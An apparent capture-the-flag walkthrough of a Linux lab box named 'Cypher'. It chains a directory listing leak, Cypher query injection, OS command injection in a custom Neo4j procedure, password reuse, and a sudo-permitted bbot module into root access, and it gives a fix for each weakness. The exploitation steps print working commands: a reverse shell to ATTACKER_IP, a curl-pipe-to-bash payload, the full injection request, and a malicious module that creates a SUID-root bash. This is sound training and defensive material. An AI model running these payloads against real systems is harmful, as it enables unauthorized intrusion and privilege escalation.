← all walkthroughs

Cypher

Linux· Medium
owned
2026-09-03
time to own
7m36s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I discovered that the target's web port redirected to a Neo4j-branded 'GRAPH ASM' application on the vhost cypher.htb. A directory brute force found an open directory listing exposing the application's custom Neo4j procedure JAR. Decompiling it revealed an OS command injection in a custom Cypher procedure, and the login endpoint's verbose error messages leaked the exact Cypher query syntax needed to reach that procedure through a UNION injection — together giving remote code execution as the neo4j service account.

A world-readable configuration file on the box exposed a Neo4j password that was reused as the local Linux password for user graphasm, yielding SSH access and the user flag. Finally, an overly broad sudo rule let graphasm run the bbot scanner as root with my own module directory; a malicious module was used to mint a SUID-root bash shell, completing full system compromise.

Command conventions

The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].

export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<a-password-you-choose>"

Attack path — how the box was taken

1ReconnaissanceVirtual host discovery and application fingerprinting
Identified the virtual host and application stack
A request to the bare IP on port 80 returned a 302 redirect to the virtual host cypher.htb, which served a Neo4j-branded product called 'GRAPH ASM' with a FastAPI backend exposing a live Swagger listing at /api/docs.
HTTP/1.1 302 Moved Temporarily ... Location: http://cypher.htb/; page title 'GRAPH ASM'; /api redirected to /api/docs
Exact commands 3
Bind the discovered vhost to the target IP.
echo "$TARGET cypher.htb" | sudo tee -a /etc/hosts
Follow the redirect and confirm the GRAPH ASM app.
curl -ksS -L -D - http://$TARGET/
View the FastAPI Swagger listing to enumerate API endpoints.
curl -ksS http://cypher.htb/api/docs
2EnumerationSensitive file exposure via directory listing
Found an open directory listing exposing a custom Neo4j plugin JAR
A full content-discovery scan (not a quick scan against the bare IP) found /testing/ served an unauthenticated directory listing containing custom-apoc-extension-1.0-SNAPSHOT.jar — a custom Neo4j stored-procedure plugin bundled with the application.
/testing/ returned an index listing custom-apoc-extension-1.0-SNAPSHOT.jar
Exact commands 3
Full directory brute force against the vhost (a scan against the bare IP only sees the 302 and misses this).
feroxbuster -u http://cypher.htb/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
Confirm the open directory listing.
curl -s http://cypher.htb/testing/
Download the custom plugin JAR.
wget http://cypher.htb/testing/custom-apoc-extension-1.0-SNAPSHOT.jar
FixDisable directory listing and remove build artifacts from the web rootHigh
WeaknessThe /testing/ path served an unauthenticated directory listing that exposed a custom Neo4j plugin JAR never meant to be public, giving an unauthorised user the exact code path needed to find the RCE.
FixDisable autoindex/directory listing in nginx (autoindex off;) for all paths, remove test/build directories from the production web root, and keep build artifacts (JARs, source) out of any publicly served directory in CI/CD.
3EnumerationCypher injection / verbose error-based information disclosure (CWE-89 analogue for graph databases)
Leaked the raw server-side Cypher query via a verbose error
The login endpoint built its database query by concatenating the submitted username directly into a Cypher statement. Submitting a single quote in the username field broke the query and the API returned the full underlying query text in its error response, including the column alias the app expected back.
Error body echoed: MATCH (u:USER) -[:SECRET]-> (h:SHA1) WHERE u.name = 'x'' return h.value as hash
Exact commands 1
Send a single quote in username to trigger the query error and read the raw Cypher back.
curl -sS -X POST http://cypher.htb/api/auth -H 'Content-Type: application/json' -d '{"username":"x'"'"'","password":"x"}'
FixUse parameterized Cypher queries and suppress verbose database errorsCritical
WeaknessThe /api/auth endpoint built its Cypher query by string-concatenating user input, letting a single quote break out of the query and echo the full query text (including internal column names) back to the client.
FixRewrite all Cypher queries to use the Neo4j driver's parameterized query API ($username instead of string concatenation) so user input is never part of the query text, and return generic error messages to clients instead of raw driver exceptions.
4ExploitationStatic analysis / decompilation of a custom Neo4j procedure
Decompiled the plugin JAR and found an unsanitized shell command builder
Decompiling the downloaded JAR revealed a custom stored procedure, custom.getUrlStatusCode(url), that built a shell command as {"/bin/sh","-c","curl -s ... " + url} with no sanitization of the url argument — a direct OS command injection reachable from any Cypher query that could call the procedure.
Com/cypher/neo4j/apoc/CustomFunctions.class: custom.getUrlStatusCode(url) concatenates the url argument into a shell command
Exact commands 2
List the JAR contents.
unzip -l custom-apoc-extension-1.0-SNAPSHOT.jar
Decompile to Java source; inspect com/cypher/neo4j/apoc/CustomFunctions.class.
jadx -d apoc-out custom-apoc-extension-1.0-SNAPSHOT.jar
FixRemove unsanitized shell command construction from the custom Neo4j procedureCritical
WeaknessThe custom.getUrlStatusCode() procedure built a shell command by concatenating an externally controlled URL argument with no sanitization, so any caller able to invoke the procedure could inject arbitrary shell commands.
FixNever shell out to build HTTP requests — use a language-native HTTP client (e.g. Java's HttpClient) instead of curl via /bin/sh. If a subprocess is unavoidable, pass arguments as an array with no shell interpretation and validate the URL against a strict allow-list before use.
5ExploitationCypher injection chained to OS command injection (RCE)
Chained the Cypher injection into the vulnerable procedure for remote code execution
Using the login endpoint's injection point, a UNION query called custom.getUrlStatusCode() with a shell metacharacter payload, matching the required 'hash' column alias so Neo4j would execute the union branch. The payload pulled down and ran a reverse-shell script, landing an interactive shell as the neo4j service account.
Shell obtained; id returned uid=110(neo4j) gid=111(neo4j) groups=111(neo4j)
Exact commands 4
Host the reverse-shell payload (replace $ATTACKER_IP with $ATTACKER_IP).
echo "bash -i >& /dev/tcp/$ATTACKER_IP/4444 0>&1" > shell && python3 -m http.server 80
Catch the reverse shell.
nc -lvnp 4444
Injected UNION payload; alias must be 'hash' to match the app's expected column, terminated with ;// to comment out trailing app text.
curl -sS -X POST http://cypher.htb/api/auth -H 'Content-Type: application/json' -d '{"username":"x'"'"' RETURN h.value AS hash UNION CALL custom.getUrlStatusCode(\"cypher.htb; curl $ATTACKER_IP/shell|bash; \") YIELD statusCode AS hash RETURN hash;//","password":"x"}'
Confirm the resulting shell: uid=110(neo4j).
id
6Post-ExploitationCredential exposure via world-readable file and password reuse
Recovered a reused system password from a world-readable config file
From the neo4j shell, a world-readable configuration file for the graphasm user's bbot scan preset contained the Neo4j database password in plaintext. That same password was reused as the graphasm Linux account's login password, giving direct SSH access and the user flag.
Cat /home/graphasm/bbot_preset.yml disclosed password [REDACTED: recovered credential] ssh graphasm@cypher.htb succeeded with it; user.txt read from /home/graphasm
Exact commands 2
From the neo4j shell — read the world-readable preset file containing the credential.
cat /home/graphasm/bbot_preset.yml
Authenticate as graphasm with the reused password and read user.txt.
sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no graphasm@cypher.htb 'id && cat /home/graphasm/user.txt'
FixProtect credential files and eliminate password reuse across servicesHigh
WeaknessA configuration file containing the Neo4j database password was world-readable, and that same password was reused as the graphasm Linux account's login password, letting a database-level compromise become an SSH foothold.
FixRestrict configuration/preset files containing secrets to 0600 owned by the service account, move secrets to a vault or environment variables outside version-controlled/preset files, and ensure each account/service uses a unique, randomly generated credential.
7Privilege EscalationSudo privilege escalation via arbitrary code execution in a permitted binary (T1548.003)
Abused an unrestricted sudo rule for bbot to load a malicious module as root
Graphasm could run the bbot OSINT scanner as root with no password via sudo. Bbot loads custom scan modules from my own directory, and a module's setup() code runs before any target validation. A malicious module was uploaded that copies bash to a SUID-root binary, giving a full root shell.
Sudo -l: (ALL) NOPASSWD: /usr/local/bin/bbot; post-exploit id returned euid=0(root); root.txt read from /root
Exact commands 5
Confirm the NOPASSWD bbot rule.
sudo -l
Malicious module; class name must match the filename stem ('pwn') or the loader skips it.
printf 'from bbot.modules.base import BaseModule\nclass pwn(BaseModule):\n    watched_events = ["DNS_NAME"]\n    async def setup(self):\n        import os; os.system("cp /bin/bash /tmp/bash && chmod u+s /tmp/bash")\n        return True\n' > /tmp/mods/pwn.py
Point bbot's module loader at my own directory.
printf 'module_dirs:\n  - /tmp/mods\n' > /tmp/pwn.yml
Run bbot as root; setup() fires before target validation, creating SUID /tmp/bash.
sudo /usr/local/bin/bbot -p /tmp/pwn.yml -m pwn -t cypher.htb -y
Use the SUID-root bash for a root shell; replace with <root.txt> when reporting the value.
/tmp/bash -p -c 'id && cat /root/root.txt'
FixRemove unrestricted sudo access to bbot (or any binary that loads external code)Critical
Weaknessgraphasm could run /usr/local/bin/bbot as root with NOPASSWD, and bbot supports loading arbitrary custom Python modules from an unauthorised user-writable directory, giving root code execution far beyond bbot's intended scanning use.
FixRemove the blanket sudo rule; if graphasm genuinely needs to run scans, restrict it to a wrapper script with fixed, non-configurable arguments (no -p/-m module-loading flags) and run bbot as a dedicated low-privilege account instead of root.

Attack patterns used

The transferable techniques behind this compromise.

SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001

What it is

Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.

Why it works

SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.

Read more

Exposed services

22/tcp
80/tcp